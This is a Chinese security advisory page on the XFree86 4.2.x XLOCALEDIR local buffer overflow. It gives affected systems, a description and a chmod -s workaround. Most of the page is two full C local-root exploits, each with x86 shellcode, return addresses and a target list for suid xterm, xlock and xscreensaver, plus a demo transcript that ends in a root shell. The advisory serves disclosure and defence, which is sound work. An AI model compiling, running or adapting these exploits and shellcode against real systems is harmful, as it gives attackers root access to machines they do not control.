首页 -> 安全研究

安全研究

安全漏洞
XFree86 XLOCALEDIR本地缓冲区溢出漏洞

发布日期:2003-03-06
更新日期:2003-03-11

受影响系统:
XFree86 X11R6 4.2.1
XFree86 X11R6 4.2.0
    - RedHat Linux 7.3
    - Slackware Linux 8.1
    - SuSE Linux 8.0
描述:
BUGTRAQ  ID: 7002

XFree86是一款著名的X窗口系统。

XFree86中的多个工具不正确处理XLOCALEDIR环境变量,本地攻击者可以利用这个漏洞进行缓冲区溢出,可能以高权限用户身份在系统上执行任意指令。

多个XFree86工具由于在引用XLOCALEDIR环境变量时缺少正确的缓冲区边界检查,攻击者通过设置XLOCALEDIR环境变量为超长字符串,当有此漏洞的工具执行时,可出发缓冲区溢出,精心构建环境变量值可能以高权限用户身份在系统上执行任意指令。

其中受此漏洞影响的工具包括:/usr/X11R6/bin/xterm,/usr/X11R6/bin/xlock,/usr/X11R6/bin/xscreensaver等。

<*来源:Agazzini Maurizio (inode@mediaservice.net
        Angelo Rosiello (guilecool@usa.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104707319515892&w=2
        http://marc.theaimsgroup.com/?l=bugtraq&m=104698052115603&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

dcryptr && tarranta 提供了如下测试程序:

/****
***
** oC-localX.c - XFree86 Version 4.2.x local root exploit
** By dcryptr && tarranta / oC
***  
** Tested against: Slackware 8.1
***
** This bug was found by tarranta and dcryptr 3 january 2003.
** Its a strcpy in the xf86 libraries that we exploit, using
** the bug to get the root privileges. If you put to much data
** in the XLOCALEDIR environment variable all programs using this
** library will cause a segmnetation fault. Some wierd reason makes
** the program not execute the first 8 bytes of the shellcode.
***
** Demonstration - here we use xlock as the target
** ----------------------------------------------
**  martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock
**  -rws--x--x    1 root     bin       2193628 May 30  2002 /usr/X11R6/bin/xlock
**  export XLOCALEDIR=`perl -e 'print "A" x 6000'`
**  martin@gDeU56:~$ xlock
**  Segmentation fault
**  eip      0x41414141       0x41414141
**
**  Exploitation:
**   martin@gDeU56:~$ ./oC-XFree86-4.2.0 -t 2
**   --- XFree86 Version 4.2.0 / X Window System - local root exploit ---
**   [+] by: dcryptr && tarranta
**   [+] oC-2003 - http://crionized.net/
**   [+] attacking: /usr/X11R6/bin/xlock
**   [+] using ret: 0xbfffe86d
**   [+] spawning root shell!!!!
**   sh-2.05a# id;uname -a
**   uid=0(root) gid=0(root) groups=100(users)
**   Linux gDeU56 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i686 unknown
***
** Remember that there is more than one suid file using this lib.
** /usr/X11R6/bin/xterm
** /usr/X11R6/bin/xscreensaver
***
** This may be vulnerable in other distros!!!
** We are currently making out new targets. look on our page
** for the newest version!
***
** (C) COPYRIGHT oC 2003
** All Rights Reserved
*******************************************************************************************************
** GREETS: dgram, lonely_, upstream, evilrip
***
****/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>

#define VERSION "0.9"

/* 57 bytes shellcode by dcryptr */
static char shellcode[] =
    /* setuid(0); (ignored) */
    "\x31\xdb"                /* xor %ebx,%ebx */
    "\x89\xd8"                /* mov %ebx,%eax */
    "\xb0\x17"                /* mov $0x17,%al */
    "\xcd\x80"                /* int $0x80     */
    
    /* setuid(0); */
    "\x31\xdb"                /* xor %ebx,%ebx */
    "\x89\xd8"                /* mov %ebx,%eax */
    "\xb0\x17"                /* mov $0x17,%al */
    "\xcd\x80"                /* int $0x80     */
    
    /* setgid(0); */
    "\x31\xdb"                /* xor %ebx,%ebx */
    "\x89\xd8"                /* mov %ebx,%eax */
    "\xb0\x2e"                /* mov $0x2e,%al */
    "\xcd\x80"                /* int $0x80     */
    
    /* /bin/sh execve(); */
    "\x31\xc0"                /* xor  %eax,%eax   */
    "\x50"                    /* push %eax        */
    "\x68\x2f\x2f\x73\x68"            /* push $0x68732f2f */
    "\x68\x2f\x62\x69\x6e"            /* push $0x6e69622f */
    "\x89\xe3"                /* mov  %esp,%ebx   */
    "\x50"                    /* push %eax        */
    "\x53"                    /* push %ebx        */
    "\x89\xe1"                /* mov  %esp,%ecx   */
    "\x31\xd2"                /* xor  %edx,%edx   */
    "\xb0\x0b"                /* mov  $0xb,%al    */
    "\xcd\x80"                /* int  $0x80       */
    
    /* exit(0); */
    "\x31\xdb"                /* xor %ebx,%ebx */
    "\x89\xd8"                /* mov %ebx,%eax */
    "\xb0\x01"                /* mov $0x01,%al */
    "\xcd\x80";                /* int $0x80     */

struct target {
    int         index;
    char         *distro;
    char         *dest;
    char         *name;
    u_long        retaddr;
    int            LEN;
};

/*
* There is like 200+ binaries that segfaults to this
* vuln but they are not suids. this is all the suids
* I found. Soundtracker is a music tracker that I am
* using and its vuln to.
*/
struct target exploit[] = {
    { 1, "Slackware 8.1 -", "/usr/X11R6/bin/xterm",
        "xterm", 0xbfffe86d, 6000 },
    
    { 2, "Slackware 8.1 -", "/usr/X11R6/bin/xlock",
        "xlock", 0xbfffe86d, 6000 },
    
    { 3, "Slackware 8.1 -", "/usr/X11R6/bin/xscreensaver",
        "xscreensaver", 0xbfffe86e, 6000 },
        
    { 0, NULL, NULL, NULL, 0, 0 }
};

void usage(char *cmd);

int main(int argc, char **argv)
{
    int     i;
    int     type;
    int        size;
    int     options;
    long     retaddr;
    char     buffer[6000];

    if(argc == 1) {
        usage(argv[0]);
        exit(0);
    }

    /* options of this exploit */
    while((options = getopt(argc, argv, "ht:")) != EOF) {
        switch(options) {
            case 'h':
                usage(argv[0]);
                exit(0);
            case 't':
                type = atoi(optarg);
            
                if (type > 3 || type < 0) {
                    printf("Out of range!!\n");
                    exit(0);
                }
            
                if (type == 0) {
                    usage(argv[0]);
                    printf("num . description\n"
                    "----+----------------------------------------\n");            
                    for (i = 0; exploit[i].dest; i++)
                        fprintf(stderr, "[%d] | %s %s\n", exploit[i].index, exploit[i].distro, exploit[i].dest);
                    
                    exit(1);
                }            
                break;    
            default:
                usage(argv[0]);
                exit(0);
        }
    }    

    size    = exploit[type-1].LEN;
    retaddr = exploit[type-1].retaddr;

    fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
                    "[+] by: dcryptr && tarranta\n"
                    "[+] oC-2003 - http://crionized.net/\n"
                    "[+] attacking: %s\n"
                    "[+] using ret: 0x%8lx\n"
                    "[+] spawning shell!!!!\n", exploit[type-1].dest, retaddr);

    for (i = 0; i < size; i += 4)
        *(long *)&buffer[i] = retaddr;
    
    memcpy(buffer + 1, shellcode, strlen(shellcode));

    setenv("XLOCALEDIR", buffer, 1);    /* seting env variable */

    if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1) {
        fprintf(stderr, "Try another target, you scriptkid!\n\n");
        exit(-1);
    }

    return(0);
}

void usage(char *cmd)
{
    fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
                    "by dcryptr && tarranta\n"
                    "oC-2003 - http://crionized.net/\n\n"
                    "usage: %s [-h] [-t <num>]\n"
                    "__options\n"
                    " -h\t- this help\n"
                    " -t num\t- choose target (0 for list)\n\n", cmd);
}                    Angelo Rosiello(guilecool@usa.com) 提供了如下测试程序:

/*
**
** Tested on rh 7.3 using XFree86
** xscreensaver vulnerability
** AUTHORS: Angelo Rosiello (Guilecool) & deka
** REQUIRES: X must be run!
** EFFECTS: local root exploit!
**
** deka is leet brother, thank you :>
** MAIL: guilecool@usa.com
**
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RETADDR 0xbfffdf20 //change it if u need

char shellcode[] =
"\x55\x89\xe5\x55\x89\xe5\x83\xec\x28\xc6\x45\xd8\x2f\xc6\x45\xdc"
"\x2f\xc6\x45\xd9\x5f\xc6\x45\xda\x5a\xc6\x45\xdb\x5f\xc6\x45\xdd"
"\x5f\xc6\x45\xde\x5f\x83\x45\xd9\x03\x83\x45\xda\x0f\x83\x45\xdb"
"\x0f\x83\x45\xdd\x14\x83\x45\xde\x09\x31\xc0\x89\x45\xdf\x89\x45"
"\xf4\x8d\x45\xd8\x89\x45\xf0\x83\xec\x04\x8d\x45\xf0\x31\xd2\x89"
"\xd3\x89\xc1\x8b\x45\xf0\x89\xc3\x31\xc0\x83\xc0\x0b\xcd\x80\x31"
"\xc0\x40\xcd\x80";

int main()
{
        char buf[4076];
        unsigned long retaddr = RETADDR;

        memset(buf, 0x0, 4076);
        memset(buf, 0x41, 4072);
        memcpy(buf+2076, &retaddr, 0x4);
        setenv("XLOCALEDIR", buf, 1);
        memset(buf, 0x90, 4072);
        memcpy((buf+4072-strlen(shellcode)), shellcode, strlen(shellcode));
        setenv("HAXHAX", buf, 1);
        execl("/usr/X11R6/bin/xscreensaver", "xscreensaver", 0);
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用chmod -s去掉相应的S位。

厂商补丁:

XFree86
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.xfree86.org/

浏览次数:3949
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障